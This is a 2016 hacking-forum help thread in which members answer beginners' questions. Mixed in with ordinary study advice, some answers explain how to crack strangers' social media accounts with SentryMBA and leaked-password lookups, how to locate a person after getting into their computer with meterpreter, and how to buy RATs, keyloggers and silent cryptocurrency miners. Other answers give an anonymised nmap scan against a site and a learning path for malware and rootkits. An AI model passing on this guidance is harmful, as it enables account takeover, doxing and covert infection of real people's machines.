

Forum:[Hack Forums](#)

Thread: [\[Notorious\] Beginner's Hacking Helpdesk](#)

Faith Connors - October 21, 2016, 8:10 pm

Turn your face to the Sun and the shadows fall behind you.

WANT TO SPONSOR THIS WITH UR GROUP? HMU

This is the new official Notorious Beginner's Hacking Helpdesk.

Use this thread to ask about anything related to hacking that you are unsure of.

Please be aware that normal site rules still apply to here, so we do not discuss blackhat activity or anything associated to the darknet/TOR/onion URLs.

Members of Notorious helping:

[Faith connors](#)

Links:

[The Absolute Beginner Hacking Tutorial 1.0.1](#) by Th3PonyWizard [What Language Should You Learn?](#) by [Faith Connors](#) [Beginner Hacking Resources](#) by [Lante](#) [The Hacker Ethos](#) by [True Demon](#) [How to Get Started](#) by [Asdethprime](#)

FAQ:

Q: How do I hack Facebook/Instagram/Twitter/etc.?

A: Either buy a cracker from here (not recommended) or use a program like SentryMBA. You will need the email/username and a password list. The larger your password list is, the higher success rate you will have, but it will take much longer to get the password. Alternatively you can look up the email in a reverse database search tool like LeakedSource and find old passwords the user has used in the past and try those.

Q: What if I do want to talk about blackhat stuff?

A: Please contact me off-site. My XMPP is lain@cypher.pw

Q: Should I install Kali, run it live or run it in a VM?

A: You will get better performance running Kali Live than in a VM. I would not recommend installing it fully as it is not made to be an every-day distro. It is missing many packages you would use for daily use. Use it only for pentesting, and I recommend running it as a live disk.

Q: How do I stay 100% anonymous online?

A: It is theoretically impossible to remain 100% anonymous, but you can get it infinitely close and even major intelligence organizations like GCHQ and the NSA won't try to crack it all because it would cost them too much time, money, and resources. [Read this thread](#) by [Previously Known As...](#) for more information.

Deany - October 21, 2016, 8:11 pm

Wow, this is a very high quality thread. Good work.

Mi2414 - October 21, 2016, 8:12 pm

What is the best use with Kali, Just wondering what you think of it as a distro.

Faith Connors - October 21, 2016, 8:19 pm

(Oct 21, 2016 08:12 PM)Amidst Wrote: [\[CITE\]](#) What is the best use with Kali, Just wondering what you think of it as a distro.

It's a good distro to be used for what it was made to do. And that is penetration testing. It has all the packages and dependencies you will need to do all your penetration tests, all in one place. But it still shouldn't be used for everyday life (unless you are a pentester of course, but even then, let me explain.)

What do you usually need to get stuff done on your computer? A good/fast web browser, an office suite, maybe some accessories like a calculator, if you program maybe an IDE or a (good) text editor like Atom, or if you do GFX, maybe GIMP. Kali doesn't have any of these things included with it (except gedit as a text editor). Now, I already know what you're thinking. "But I can just install all these things if I want." Alright, that's fine, but now let's look deeper into the distro.

First of all, Kali boots to root. There is no other user. When you launch the terminal, you are in root. Not good, bad for security in most instances. Second problem is that it has too much. Think about it. Out of the hundreds of tools it has included, you may only end up using about 10% of them regularly. So basically, you may as well install a different distro (like Debian, Elementary, etc.) and install whatever packages you want for pentesting, and you'll struggle a lot less with it.

Asdethprime - October 22, 2016, 9:09 am

Hi Faith Connors ,

Excellent work there. Just a question, would you mind if I add my view on how to go about learning hacking as well alongside reference to few free ebooks?

Coz I think this is an excellent start.

Faith Connors - October 22, 2016, 11:33 am

(Oct 22, 2016 09:09 AM)Asdethprime Wrote: [\[CITE\]](#) Hi Faith Connors ,

Excellent work there. Just a question, would you mind if I add my view on how to go about learning hacking as well alongside reference to few free ebooks?

Coz I think this is an excellent start.

Yeah sure thing, if you make a thread I'll add it to the links or if you wanna PM me it I'll just add it to the OP.

SINNED - October 22, 2016, 11:37 am

How did you start & learn everything you know?

Faith Connors - October 22, 2016, 12:18 pm

(Oct 22, 2016 11:37 AM)Sere Wrote: [\[CITE\]](#) How did you start & learn everything you know?

It starts with lurking and lots of googling.

Just read threads or blogs or how-to's online or on here and find something you don't understand. Then try to figure out what it is, exactly what it does/its function, and how you can apply it. Use Google, it's your best friend. Sometimes you won't get a direct answer, but find other places where you might get an answer. You can ask questions right on this thread, or maybe try stackexchange/stackoverflow.

Read books. Some are geared towards programming, like a good book on C or Python, but others will be more geared towards hacking, like the Hacker's Ethos by True Demon or a hacking course

study guide like CEH. Then some books might combine the two, like Violent Python. But these books will not only help you learn about the subject, the hacking ones may also help you develop the mindset for it. Like thinking outside the box.

Once you understand the fundamentals and have the mindset, just jump right into it. Download a vulnerable VM from vulnhub. Try to crack it. If you get stuck and you've tried everything you can think of, look up a guide, figure out how the author solved it, then go and try again. Maybe try a site like hackthissite or leettime to practice web exploitation. Remember to stay legal though.

Also check out other online resources that can help you. There are tons of video tutorials and online courses you can take. Check out cybrary.it for free stuff like that. They also bring in an expert from the field every Sunday for a S3SS10N so you can learn even more. Webinars in general are also invaluable. I've attended some of the AWS ones and they have some neat stuff in them. Cisco also held one a few months ago and they even sent all the participants some free hardware.

SilentkillarHF - October 22, 2016, 4:07 pm

I've been wondering for a while now. Something I'm unsure about hacking. Might sound stupid, but I'm learning.

Let's say I manage to find a vulnerability on a website. How can I exploit it? And when I've exploited it, how can I use that to fully take control of the website?

Faith Connors - October 22, 2016, 8:07 pm

(Oct 22, 2016 04:07 PM)SilentkillarHF Wrote: [\[CITE\]](#) I've been wondering for a while now. Something I'm unsure about hacking. Might sound stupid, but I'm learning.

Let's say I manage to find a vulnerability on a website. How can I exploit it? And when I've exploited it, how can I use that to fully take control of the website?

Although I'm expecting all kinds of stupid questions here, this one isn't and is totally valid.

Honestly, it depends on the vulnerability and the way you exploit it, along with maybe a little luck and sweet talking.

Now, first you have to figure out how the site works, why does your vulnerability happen? What is the site doing to process your input? Like, for instance, let's use just a standard SQL injection. You put a username in the username bar that has an apostrophe in it. MySQL takes the input of an apostrophe as magic quotes and when you hit enter, you see that the site says it didn't log you in because there was a SQL error that the other quote wasn't closed. So you know the site is accepting SQL queries on its own.

Another example, let's say you are searching for something code related, and you decide to include HTML tags in your query, like to make it bold, and when the search is done, you see it returned "Found x results for "keyword" showing your keyword in bold. So if it accepts HTML tags, maybe you can write a script to send to the server.

Now, once you understand what the site is doing, you can start to think of ways to make it do what you want. So for the first example, the SQL injection, you can try to find a list of usernames/passwords and get the admin username and pass so you can log into the site or server and take control of it. Maybe in the script example you would send a script to someone on the other end, an admin or staff member, and try to social engineer them into doing what you want (see, you might need a little luck). But once you figure out exactly what the site does, then you can figure out what you need to do to exploit it. To do that, though, you will probably need some knowledge of languages so you can write your own scripts. I'd suggest having a look at JavaScript and a DBMS.

MySQL is really popular.

Nomox - October 22, 2016, 8:08 pm

thanks man for being so helpful to new ewhorers:)

Tsunfire - October 22, 2016, 8:09 pm

(Oct 22, 2016 08:08 PM)Nomox Wrote: [\[CITE\]](#) thanks man for being so helpful to new ewhorers:) ?????

Does private investigation fall under hacking? I never knew.

Faith Connors - October 22, 2016, 8:10 pm

(Oct 22, 2016 08:08 PM)Nomox Wrote: [\[CITE\]](#) thanks man for being so helpful to new ewhorers:) I don't teach people to social engineer. Because I'm already a sweet talker and don't want people to know my ways ;)

Tsunfire - October 22, 2016, 8:15 pm

Oh I guess it is. Is there a way to find an exact location from IP without ISP doxing?

Faith Connors - October 22, 2016, 8:22 pm

(Oct 22, 2016 08:15 PM)Jap?n Wrote: [\[CITE\]](#) Oh I guess it is. Is there a way to find an exact location from IP without ISP doxing?

As far as I know, no. But there is a way that you might have a chance at.

There was a thread a while ago about hacking WAN IPs like the meme hacking we always talk about. It involves calling up the ISP and social engineering them to open a port on the modem for remote administration. So you do have to call up the IP, but it's easier to do this than get them to release a ton of info.

You can read up on the thread, but that aside, let's say you go all the way down the rabbit hole and now you have access to the targets computer through meterpreter or the tool of your choice. Now here are your options:

1. Pray to God that they are running Windows and have location services on, then open up Google Maps on their web browser.
2. Get any info about them saved on their computer or log into their Facebook or whatever, then go through some database searches (LeakedSource, white pages, etc.) and try to get some info.

Like I said, there's no surefire way. It will take a little luck.

The GRim - October 22, 2016, 8:26 pm

I suggest all the members to make use of this thread.

Keep up the good work :)

devc0de - October 22, 2016, 8:37 pm

Helpful thread. Motivation for those who wants to learn.

Keep it up man!

M?xim - October 22, 2016, 8:38 pm

(Oct 22, 2016 08:26 PM)The GRim Wrote: [\[CITE\]](#) I suggest all the members to make use of this

thread.

Keep up the good work :)
Grim you done good with this guy. Good pick.

Nice thread.

Faith Connors - October 22, 2016, 8:43 pm

(Oct 22, 2016 08:38 PM)M?xim Wrote: [\[CITE\]](#) Grim you done good with this guy. Good pick.

Nice thread.

Oh he didn't pick me. I picked his group to join. B)
I still wear riptide userbar bc riptide gvng or die fam

VeloCityMods - October 22, 2016, 8:45 pm

Great work on the HQ Thread. :) Very nice help desk.

Asdethprime - October 22, 2016, 9:13 pm

Since Faith Connors was kind enough to let me add stuffs to the thread I would like to take the opportunity.

The first thing you want to do in order to learn hacking is get a Linux distribution. The reason we advise you get on is because:

- 1) Windows spies on you
- 2) Windows has restriction on what you can and can't do
- 3) One of the hackers resolution is not to let a single organization (Microsoft) control what you can and can't do on your PC. The only way to do that is to stop using Windows. Insofar as you are using Windows there is really no way you can hide your information from Microsoft company. Think of it this way a simple meterpreter program can gain any information on your computer, Windows is so much more complex than that; what makes you think it can't get your information?

Secondly don't rely overtly on tutorial, read book as they are excellent guide to get you started.

Before you begin hacking learn how to use the Linux terminal because every hacker uses to terminal for hacking. The reason is simple, while graphical user interfaces make easy task easier, terminal makes difficult task possible =)

<https://sourceforge.net/projects/linuxcommand/files/TLCL/16.07/TLCL-16.07.pdf>

It's written in simple terms and is very detailed.

Then learn about hacking. The book I would highly recommend is Pentesting: A Hands on Introduction to Hacking by Georgia Weidman

<https://repo.zenk-security.com/Magazine%20E-book/Penetration%20Testing%20-%20A%20hands-on%20introduction%20to%20Hacking.pdf>

This will give you the idea of how to hack, will introduce you to tool and techniques.

Now what you want to do is, after you read the book make a list of tools they used. Find documentation on the tool you have and learn to use them. Master using the tool. For example one of the tool you are no doubt going to come across is Nmap. Get a book on it "Fat free guide to nmap" and it will let you understand the tool in detail.

Always remember you need to know three things:

- 1) What does it do
- 2) How does it do it
- 3) What information I can get and what each of them means

Now start using the tool, everything you get google to try and understand what they mean. If you come across protocols learn what they are. Essentially any protocol you come across you want to learn

- 1) What is it?
- 2) When is it used?
- 3) What vulnerabilities you have.

By the time you are done with the book you will have a good idea of complete list of tools to use. Don't bound yourself to these tool, look for other tools online. The question you want to ask is, I am using this tool (for example nmap) what other tools are out that are like this that can give me some new information other than this tool.

Once you know how to use tools to hack you have merely become a script kiddie. There is nothing wrong with that but DON'T STOP THERE.

You want to expand your knoweledge so go around and look at various databases that have vulnerability and exploits written. Some common ones are:

www.securityfocus.com

www.packetstormsecurity.org

www.exploit-db.org

www.cve.mitre.org

www.osvdb.com

Now's the time to learn programming. In order to understand these vulnerabilities in detail you need to know programming. Look at what programming language is used, make a list of commands used in the exploit and understand how to use those command. This way you are limiting things. By the time you are done reading all the vulnerabilities you are going to know just about all the commands but don't rush things. Learn things on a need to know basis.

By the time you've done all this you will automatically know what to do next.

And if you get stuck somewhere let us know and maybe we can help you.

Hope this helps,

THC - October 22, 2016, 9:31 pm

Nice to see a help desk coming back to the beginner hacking section.

I'll be dropping by to help out :P

SilentkillarHF - October 23, 2016, 1:52 am

(Oct 22, 2016 08:07 PM)Faith Connors Wrote: [\[CITE\]](#) Although I'm expecting all kinds of stupid questions here, this one isn't and is totally valid.

Honestly, it depends on the vulnerability and the way you exploit it, along with maybe a little luck and sweet talking.

Now, first you have to figure out how the site works, why does your vulnerability happen? What is the site doing to process your input? Like, for instance, let's use just a standard SQL injection. You

put a username in the username bar that has an apostrophe in it. MySQL takes the input of an apostrophe as magic quotes and when you hit enter, you see that the site says it didn't log you in because there was a SQL error that the other quote wasn't closed. So you know the site is accepting SQL queries on its own.

Another example, let's say you are searching for something code related, and you decide to include HTML tags in your query, like to make it bold, and when the search is done, you see it returned "Found x results for "keyword" showing your keyword in bold. So if it accepts HTML tags, maybe you can write a script to send to the server.

Now, once you understand what the site is doing, you can start to think of ways to make it do what you want. So for the first example, the SQL injection, you can try to find a list of usernames/passwords and get the admin username and pass so you can log into the site or server and take control of it. Maybe in the script example you would send a script to someone on the other end, an admin or staff member, and try to social engineer them into doing what you want (see, you might need a little luck). But once you figure out exactly what the site does, then you can figure out what you need to do to exploit it. To do that, though, you will probably need some knowledge of languages so you can write your own scripts. I'd suggest having a look at JavaScript and a DBMS. MySQL is really popular.

Thanks man!

Faith Connors - October 23, 2016, 4:31 am

(Oct 22, 2016 09:13 PM)Asdethprime Wrote: [\[CITE\]](#) Snip
Just added a link to this post in the OP. Thanks!

Asdethprime - October 23, 2016, 4:52 am

(Oct 23, 2016 04:31 AM)Faith Connors Wrote: [\[CITE\]](#) Just added a link to this post in the OP.
Thanks!
You are most welcome =)

Faith Connors - October 23, 2016, 3:52 pm

Bumping back up to page one.
Shoot us some questions and we'll do our best to answer!

skelly76 - October 23, 2016, 10:36 pm

I think these would be a good addition to the links:
<https://hackforums.net/showthread.php?tid=4178212>
<https://hackforums.net/showthread.php?tid=4329505>

Mimzie5 - October 23, 2016, 11:07 pm

Hello, im a beginner to all of this and id like to know a bit more about keyloggers and RAT's. I'm a little worried about downloading them and getting a virus on my computer. When downloading a RAT do some programs put encrypted viruses inside of them?

Faith Connors - October 24, 2016, 4:41 am

(Oct 23, 2016 11:07 PM)Mimzie5 Wrote: [\[CITE\]](#) Hello, im a beginner to all of this and id like to know a bit more about keyloggers and RAT's. I'm a little worried about downloading them and getting a virus on my computer. When downloading a RAT do some programs put encrypted viruses inside of them?

Yeah, a lot of free RAT programs have infected copies all over the internet because it's a pretty hot topic and that allows RAT users to try and get even more infected people. Try to find a clean copy of Darkcomet and you'll see what I mean. (Don't actually use Darkcomet, though.)

The safest way to go about it is to get a RAT from here, where you can see the thread and replies to the download and you can see whether it's safe or not. Or, you can also view the source code of the RAT if it's written in a .NET language (for native languages it's a lot harder to disassemble but still possible if there is no obfuscation.) Of course, this will require some programming knowledge, but you'll know exactly how it's built and if it's going to infect you.

Now, if you really want to be on the safe side, I'd suggest buying a RAT/keylogger because not only will they have more features, they will be stable, generally higher quality, and some are also cross platform.

Rubixa - October 24, 2016, 4:50 am

What would you say would be the best method to do a vulnerability test on a site? and once tested, if there are any XSS vulnerabilities found, how can I go about exploiting them?

Asdethprime - October 24, 2016, 6:06 am

(Oct 24, 2016 04:50 AM)Rubixa Wrote: [CITE](#) What would you say would be the best method to do a vulnerability test on a site? and once tested, if there are any XSS vulnerabilities found, how can I go about exploiting them?

Hi Rubixa,

I hope you don't mind me replying instead of Connors. The best way to go about discovering a vulnerability on a website is by running a vulnerability scanner.

The first thing I would recommend is getting a proxyfier so you hide your identity while doing your scanning. The one I like using is proxychains-ng, its free.

Then run a network scanner to see what ports are open, what services are listening and what operating system it's using (\$ symbol is used to show you are not using the root and # to show you are using root, you don't have to type the symbols that will be pre-displayed on the terminal):

```
$ sudo proxychains-ng nmap -sS -sC -A --os-guess --trace-route <website address>
```

For example:

```
$ sudo proxychains-ng nmap -sS -sC -A --os-guess --trace-route google.com
```

This should give you:

- 1) What ports are open
- 2) What services are running
- 3) What version of services are running
- 4) What operating system the target is using
- 5) If it can't find an exact operating system based on patterns it will try and guess which one it might be running
- 6) Show the path the packets you send towards the site took before reaching the server (very useful in finding out what proxies are running, or if there is another main server that intercepts before you reach the target)

Then you can run common vulnerability scanner that will tell you if the target as known vulnerability. Remember, nmap is free but not all vulnerability scanners are, but just use free ones.

- 1) Nikto <-its main job is to see if the server is misconfigured
- 2) w3af <- super easy and this will give you codes for any vulnerability that is discovered, these codes can be searched on Metasploit so you can get the entire vulnerability which is already pre-coded
- 3) Paros Proxy <- very good for checking SQL, XSS or CSRF vulnerabilities

This should give you a good idea of what vulnerabilities exist on the site. There are few frameworks that have everything built in and can be used as a stand alone too. These include:

- 1) Samurai Web Testing Framework
- 2) Ratproxy
- 3) Websecurify

There are a lot more.

Now the next thing you do is, figure out if the said vulnerability has a pre-coded exploit. If so you can use exploit framework (commonly metasploit or BeEF) to execute it; else you have to actually learn how to do it manually.

Cross Site Scripting (XSS) is very popular and has pre-coded exploits on metasploit you can use. Try going through this document as I feel it's an excellent guide in understanding how to exploit a XSS vulnerability:

<https://www.exploit-db.com/docs/18895.pdf>

Hope this helps

=)

stianonline - October 24, 2016, 6:13 am

What is the best silentminer? Have you used one? and what's the best to mine?

Applier - October 24, 2016, 6:22 am

Hi,

First of all, apologies if this is a really basic question, but I've googled and haven't found a straight answer. I've just started fiddling around with this RAT (Pupy) for fun and I've gotten it running and functioning (on Kali Linux and android as the test subject).

I'm testing it on OSX now, and I can't figure out a way to make it persistent. Pupy's persistence module seems to support only Windows and Linux.

So, tl;dr Is there an easy way to make Pupy persistent on OSX or not? And if not, are there any other open source RATs with the persistence feature on OSX?

Thank you for reading the post. Any pointers are appreciated.

Faith Connors - October 24, 2016, 7:38 am

(Oct 24, 2016 06:13 AM)stianonline Wrote: [\[CITE\]](#) What is the best silentminer? Have you used one? and what's the best to mine?

Well I can answer two of your questions. First of all, I haven't personally used any silent miners, so I can't really give you the "best" one, but I do know that ImminentMonitor has a Bitcoin miner built in and someone on here is selling a silent Monero miner which should also work.

Bitcoin is probably the least profitable coin to mine now because there isn't very much left, almost all of it has been already mined and what you would get back in 2011 is much larger than what you would get today for the same amount of work and power costs. I believe the best coin to mine now is Monero, XMR, so you should have a look into those. Just remember that installing a silent miner on a computer without the owner's knowledge is in fact illegal, so proceed with caution ;)

(Oct 24, 2016 06:22 AM)Applier Wrote: [\[CITE\]](#) Hi,

First of all, apologies if this is a really basic question, but I've googled and haven't found a straight answer. I've just started fiddling around with this RAT (Pupy) for fun and I've gotten it running and functioning (on Kali Linux and android as the test subject).

I'm testing it on OSX now, and I can't figure out a way to make it persistent. Pupy's persistence module seems to support only Windows and Linux.

So, tl;dr Is there an easy way to make Pupy persistent on OSX or not? And if not, are there any other open source RATs with the persistence feature on OSX?

Thank you for reading the post. Any pointers are appreciated.

I haven't really played a lot with Pupy, neither do I with OS X so again I can't give a very straight answer. The wiki doesn't have any mention of it, so maybe on the GitHub you can add a bug to the repository in hopes the creator, n1nj4sec sees it, or you could try emailing him about it, he has a contact form at the bottom of the README.md.

It does say in the README.md that persistence works on all platforms, so I would think it's a bug.

Applier - October 24, 2016, 8:18 am

(Oct 24, 2016 07:38 AM)Faith Connors Wrote: [\[CITE\]](#) I haven't really played a lot with Pupy, neither do I with OS X so again I can't give a very straight answer. The wiki doesn't have any mention of it, so maybe on the GitHub you can add a bug to the repository in hopes the creator, n1nj4sec sees it, or you could try emailing him about it, he has a contact form at the bottom of the README.md.

It does say in the README.md that persistence works on all platforms, so I would think it's a bug.

Thank you, I'll open a bug report then. Didn't want to bother the author without first checking whether it was a problem at my end.

Rubixa - October 24, 2016, 9:03 am

(Oct 24, 2016 06:06 AM)Asdethprime Wrote: [\[CITE\]](#) -snip-

I was merely questioning how OP would go about it and seeing how good this help desk is buddy, but +3 for you for such a long detailed reply, unfortunately it was a waste of your time to reply that to me but I'm sure someone who needs it will see it and benefit. :)

Faith Connors - October 24, 2016, 9:10 am

(Oct 24, 2016 09:03 AM)Rubixa Wrote: [\[CITE\]](#) I was merely questioning how OP would go about it and seeing how good this help desk is buddy, but +3 for you for such a long detailed reply, unfortunately it was a waste of your time to reply that to me but I'm sure someone who needs it will see it and benefit. :)

Yeah I felt like you were testing it and I was good man reply later but when I got back it was already answered lmao

Admittedly I wouldn't have a specific nmap command and all that, or link to an exploit-db paper either, but it's also pretty well written as well, so guess I'm still learning stuff too lol

Rubixa - October 24, 2016, 9:13 am

(Oct 24, 2016 09:10 AM)Faith Connors Wrote: [\[CITE\]](#) Yeah I felt like you were testing it and I was good man reply later but when I got back it was already answered lmao

Admittedly I wouldn't have a specific nmap command and all that, or link to an exploit-db paper either, but it's also pretty well written as well, so guess I'm still learning stuff too lol

All good mate haha :)

I'll jump in here from time to time and help out

Asdethprime - October 24, 2016, 10:48 am

(Oct 24, 2016 09:03 AM)Rubixa Wrote: [\[CITE\]](#) I was merely questioning how OP would go about it and seeing how good this help desk is buddy, but +3 for you for such a long detailed reply, unfortunately it was a waste of your time to reply that to me but I'm sure someone who needs it will see it and benefit. :)

Well you got me there =)

That being said yeah I am hoping at least someone will benefit from it =)

TheSploit - October 24, 2016, 2:34 pm

What language do I need to learn to make viruses for windows? C probably.

semendaemon - October 24, 2016, 4:54 pm

(Oct 22, 2016 09:13 PM)Asdethprime Wrote: [\[CITE\]](#) [deleted to save char space]You can block out whatever "Microsoft" is getting out of your PC.

Windows does not "limit" you, it's designed for different usage scenarios. For WebSec, Windows is absolutely fine. For malware development, Windows is absolutely fine. For Win-based Driver development, CheatDev, and a lot of other security aspects - Windows is still fine. Stop enforcing the hivemind.

The rest is kinda shit as well but not as glaring.

(Oct 24, 2016 02:34 PM)TheSploit Wrote: [\[CITE\]](#) What language do I need to learn to make viruses for windows? C probably. C++ ("The C Programming Language By K&R") & WinAPI ("Programming Windows via C/C++", First Edition). Assembly is not mandatory, however if you'll be any good you'll pick it up just to actually understand what your malware is doing. Pre-calling functions with `__fastcall` doesn't mean shit if you don't know what the fuck is going on at the memory formation. Any decent malware developer can read assembly, writing it isn't as popular and has no real justification (Unless you're into manual anti-debugging).

You'll also want a decent amount of networking knowledge (TCP/IP Illustrated, 2nd edition, The Protocols), Windows knowledge (Windows Internals, 6th Edition) and you should read Practical Malware Analysis, Rootkit Arsenal and Subverting The Windows Kernel when you actually get good with APT development.

Get into rootkits, the only actually worthwhile type of malware. Don't skid it out.

(Oct 24, 2016 06:06 AM)Asdethprime Wrote: [\[CITE\]](#) The best way to go about discovering a vulnerability on a website is by running a vulnerability scanner. Seeing this saddens me a bit. Just a bit, because I'm as cynical as it gets yet already this one sentence hits me deep. This is where we've come to. This is it.

This is what you radiate to this thread, hell, to this section. "WANNA HACK!? WITH THESE 5 LITTLE STEPS YOU CAN START!!".

Hacking isn't about downloading linux, or launching a meterpreter. Hacking is about creating art and beauty with a computer. It can be pentesting, and it can be 101 different other things. You can't destroy the definition with your pre-built download list (and fuck you for trying) and I'll forever quote you and tear down your replies until you stop this shit.

Hacking can be scanning an IP, finding a vulnerable service, launching armitage, popping `/bin/sh` and the giggling out of control as you're defacing the website, or installing some shit DoS endpoint or whatever.

It can also be finding out that service is not vulnerable, and instead of giving out and continuing -

You go and learn Ruby, open the module script, find out it's poorly written in one regard or another (OS Specific, CPU Arch specific, w/e) and write a better one. Or you figure out why it's not working - Are we being filtered out by the IPS noticing out default packet signature, recognizing it and terminating it? Maybe the script doesn't target all Linux platforms, Maybe it doesn't adapt or you're cached out - 1001 scenarios can happen that disable your payload from executing. I hate the mindset that tells you to first use the tools, then figure out what's wrong. Scratch that, I hate the mindset of strictly defining what hacking is - Hacking == Pentesting, however hacking != Pentesting. Hacking can be pentesting, but it's also so much and you're pretty much fucking everything up when you comment terribad advice.

And it actually pisses me off, because nobody knows about cheat development. Or memory corruption exploitation. Or malware development, whether it's filthy userland keyloggers, VNC based malware such as RATs, Trojans or something actually cool like Rootkits and low ring attacks. Or Operation Systems security, like hardening the kernel of your server against everything that can come at it. Hell, there's a whole new field developing in the shadows called IoT exploitation. Embedded Security is on the rise and beyond niche, closed forums on the darknet there is absolutely no community about this online. Reverse Engineering Router firmware to find OS-implemented vulnerabilities, doesn't that at least strike you off as something worth mentioning? Hell, just any type of reverse engineering.

Pentesting is the lowest, most common ground form of hacking. It's when you do the most and think the little-est. The overwhelming majority of them just don't know shit. It's literally ground zero for everybody. Everybody and their tits runs to it, because just like you showed the only solid background you need is literally a little bit of Linux and some Networking and I'll argue both aren't even needed if somebody can actually read things online. Pentesting is the only field within Security you can actually do shit without knowing anything at all. Why do you point people to the lowest common denominator? Why aren't you showing them everything that exists? There's more to that. Rant off or something.

Also, fuck you for that sentence alone. I'll do in 20 minutes what your scanner does in 2, but I'll find thrice as many things. You know why? Because like your brain, a scanner lacks creativity.

What happens to a scanner if every single status code returns 404 as a defensive obsecurity measure? It dies.

What happens to a scanner if a single hint of a WAF shows up? It dies.

What happens to a scanner if your target is CRUD / REST / any other methodology that isn't ancient with mod_rewrite to kill off traditional URI schemes? It dies.

What happens to a scanner if the site isn't using HTML? it dies.

Scanners cannot think. Scanners cannot develop theories, test them out via fuzzing, and make conclusions. Scanners will never find you 0days in your journey to hack the website. Besides the fact that assuming you're black-boxing the test without conset, scanners will leave a diarrhea on the http logs, showing just how idiotic they are, brute forcing every single thing to check if it works even though they could've tested X-HTTP-Powered-By and finding out shit's Nginx so why the fuck Nikto are you testing for Apache based CGI directories? Oh shit, if I just faked out the server header response that would be misleading. Maybe edit out the default error pages to avoid httpd fingerprinting? But I can fake those too as the sysadmin. Don't you get it? A decent security engineer on blue-team should be able to perform Anti Heuristic techniques in a breeze. Everything can be fooled, spoofed, faked out and scrambled to get your tool breaking down and giving false positivies.

Don't believe me about the logs? Make a website, open logs and see how god-fucking-retarded Nikto is. It was last updated 4 years ago, but it looks like 20.

Don't let tools replace your mind. Actually you specifically I don't care about, but don't let others have their brain replaced. We are so much more than that. All of us, all of you. Whoever reads this

deserves to reach a much higher skill ceiling rather than simply calling tools with arguments.

To answer that question: If somebody wants to scan a website, he should learn HTML CSS JS PHP SQL for start then delve into HTTP protocol, do challenges and read pentesting papers and not that shit book. Read reports, DO USE TOOLS BUT WITH A BRAIN, git gud with more challenges and then scan that website. Don't want to do that? Use the tool to get subpar results, or pay an actually serious lad a good amount of money (Better be out of HF though).

--

Wishing Faith good luck with this. You know what you're in for. My vacation ends tomorrow, even though I'd rather have you make a better usage of your time I still value what you're trying to do here. I mean, you did last longer than I expected. Onwards with the type-3 cancer, and bye :)

Faith Connors - October 24, 2016, 7:19 pm

(Oct 24, 2016 04:54 PM)semendaemon Wrote: [\[CITE\]](#) You can block out whatever "Microsoft" is getting out of your PC.

Windows does not "limit" you, it's designed for different usage scenarios. For WebSec, Windows is absolutely fine. For malware development, Windows is absolutely fine. For Win-based Driver development, CheatDev, and a lot of other security aspects - Windows is still fine. Stop enforcing the hivemind.

The rest is kinda shit as well but not as glaring.

C++ ("The C Programming Language By K&R") & WinAPI ("Programming Windows via C/C++", First Edition). Assembly is not mandatory, however if you'll be any good you'll pick it up just to actually understand what your malware is doing. Pre-calling functions with `__fastcall` doesn't mean shit if you don't know what the fuck is going on at the memory formation. Any decent malware developer can read assembly, writing it isn't as popular and has no real justification (Unless you're into manual anti-debugging).

You'll also want a decent amount of networking knowledge (TCP/IP Illustrated, 2nd edition, The Protocols), Windows knowledge (Windows Internals, 6th Edition) and you should read Practical Malware Analysis, Rootkit Arsenal and Subverting The Windows Kernel when you actually get good with APT development.

Get into rootkits, the only actually worthwhile type of malware. Don't skid it out.

Seeing this saddens me a bit. Just a bit, because I'm as cynical as it gets yet already this one sentence hits me deep. This is where we've come to. This is it.

This is what you radiate to this thread, hell, to this section. "WANNA HACK!? WITH THESE 5 LITTLE STEPS YOU CAN START!!".

Hacking isn't about downloading linux, or launching a meterpreter. Hacking is about creating art and beauty with a computer. It can be pentesting, and it can be 101 different other things. You can't destroy the definition with your pre-built download list (and fuck you for trying) and I'll forever quote you and tear down your replies until you stop this shit.

Hacking can be scanning an IP, finding a vulnerable service, launching armitage, popping `/bin/sh` and the giggling out of control as you're defacing the website, or installing some shit DoS endpoint or whatever.

It can also be finding out that service is not vulnerable, and instead of giving out and continuing - You go and learn Ruby, open the module script, find out it's poorly written in one regard or another (OS Specific, CPU Arch specific, w/e) and write a better one. Or you figure out why it's not working - Are we being filtered out by the IPS noticing out default packet signature, recognizing it and terminating it? Maybe the script doesn't target all Linux platforms, Maybe it doesn't adapt or you're cached out - 1001 scenarios can happen that disable your payload from executing. I hate the mindset that tells you to first use the tools, then figure out what's wrong. Scratch that, I hate the

mindset of strictly defining what hacking is - Hacking == Pentesting, however hacking != Pentesting. Hacking can be pentesting, but it's also so much and you're pretty much fucking everything up when you comment terribad advice.

And it actually pisses me off, because nobody knows about cheat development. Or memory corruption exploitation. Or malware development, whether it's filthy userland keyloggers, VNC based malware such as RATs, Trojans or something actually cool like Rootkits and low ring attacks. Or Operation Systems security, like hardening the kernel of your server against everything that can come at it. Hell, there's a whole new field developing in the shadows called IoT exploitation. Embedded Security is on the rise and beyond niche, closed forums on the darknet there is absolutely no community about this online. Reverse Engineering Router firmware to find OS-implemented vulnerabilities, doesn't that at least strike you off as something worth mentioning? Hell, just any type of reverse engineering.

Pentesting is the lowest, most common ground form of hacking. It's when you do the most and think the little-est. The overwhelming majority of them just don't know shit. It's literally ground zero for everybody. Everybody and their tits runs to it, because just like you showed the only solid background you need is literally a little bit of Linux and some Networking and I'll argue both aren't even needed if somebody can actually read things online. Pentesting is the only field within Security you can actually do shit without knowing anything at all. Why do you point people to the lowest common denominator? Why aren't you showing them everything that exists? There's more to that. Rant off or something.

Also, fuck you for that sentence alone. I'll do in 20 minutes what your scanner does in 2, but I'll find thrice as many things. You know why? Because like your brain, a scanner lacks creativity.

What happens to a scanner if every single status code returns 404 as a defensive obsecurity measure? It dies.

What happens to a scanner if a single hint of a WAF shows up? It dies.

What happens to a scanner if your target is CRUD / REST / any other methodology that isn't ancient with mod_rewrite to kill off traditional URI schemes? It dies.

What happens to a scanner if the site isn't using HTML? it dies.

Scanners cannot think. Scanners cannot develop theories, test them out via fuzzing, and make conclusions. Scanners will never find you 0days in your journey to hack the website. Besides the fact that assuming you're black-boxing the test without conset, scanners will leave a diarrhea on the http logs, showing just how idiotic they are, brute forcing every single thing to check if it works even though they could've tested X-HTTP-Powered-By and finding out shit's Nginx so why the fuck Nikto are you testing for Apache based CGI directories? Oh shit, if I just faked out the server header response that would be misleading. Maybe edit out the default error pages to avoid httpd fingerprinting? But I can fake those too as the sysadmin. Don't you get it? A decent security engineer on blue-team should be able to perform Anti Heuristic techniques in a breeze. Everything can be fooled, spoofed, faked out and scrambled to get your tool breaking down and giving false positivies.

